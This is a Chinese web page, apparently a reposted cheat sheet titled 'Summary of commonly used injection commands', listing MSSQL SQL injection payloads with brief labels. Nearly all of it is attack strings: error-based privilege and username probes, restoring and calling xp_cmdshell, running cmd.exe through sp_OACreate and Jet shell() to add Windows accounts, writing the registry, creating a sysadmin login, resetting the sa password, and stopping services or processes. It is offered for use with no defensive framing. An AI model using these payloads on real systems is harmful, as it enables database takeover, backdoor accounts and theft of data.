常备的注入命令总结 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【meiwen.anslib.com - 电脑资料】

    //看看是什么权限的

    and 1=(Select IS_MEMBER('db_owner'))

    And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--

    //检测是否有读取某数据库的权限

    and 1= (Select HAS_DBACCESS('master'))

    And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --

    数字类型

    and char(124)%2Buser%2Bchar(124)=0

    字符类型

    ' and char(124)%2Buser%2Bchar(124)=0 and ''='

    搜索类型

    ' and char(124)%2Buser%2Bchar(124)=0 and '%'='

    爆用户名

    and user>0

    ' and user>0 and ''='

    检测是否为SA权限

    and 1=(select IS_SRVROLEMEMBER('sysadmin'));--

    And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --

    检测是不是MSSQL数据库

    and exists (select * from sysobjects);--

    检测是否支持多行

    ;declare @d int;--

    恢复 xp_cmdshell

    ;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--

    select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')

    //-----------------------

    //     执行命令

    //-----------------------

    首先开启沙盘模式:

    exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

    然后利用jet.oledb执行系统命令

    select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')

    执行命令

    ;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--

    EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'

    判断xp_cmdshell扩展存储过程是否存在:

    http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')

    写注册表

    exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

    REG_SZ

    读注册表

    exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'

    读取目录内容

    exec master..xp_dirtree 'c:\winnt\system32\',1,1

    数据库备份

    backup database pubs to disk = 'c:\123.bak'

    //爆出长度

    And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--

    更改sa口令方法:用sql综合利用工具连接后,执行命令:

    exec sp_password NULL,'新密码','sa'

    添加和删除一个SA权限的用户test:

    exec master.dbo.sp_addlogin test,ptlove

    exec master.dbo.sp_addsrvrolemember test,sysadmin

    删除扩展存储过过程xp_cmdshell的语句:

    exec sp_dropextendedproc 'xp_cmdshell'

    添加扩展存储过过程

    EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'

    GRANT exec On xp_proxiedadata TO public

    停掉或激活某个服务,

常备的注入命令总结

电脑资料

常备的注入命令总结》(http://meiwen.anslib.com)。

    exec master..xp_servicecontrol 'stop','schedule'

    exec master..xp_servicecontrol 'start','schedule'

    dbo.xp_subdirs

    只列某个目录下的子目录。

    xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'

    dbo.xp_makecab

    将目标多个档案压缩到某个目标档案之内。

    所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。

    dbo.xp_makecab

    'c:\test.cab','mszip',1,

    'C:\Inetpub\wwwroot\SQLInject\login.asp',

    'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'

    xp_terminate_process

    停掉某个执行中的程序,但赋予的参数是 Process ID。

最新文章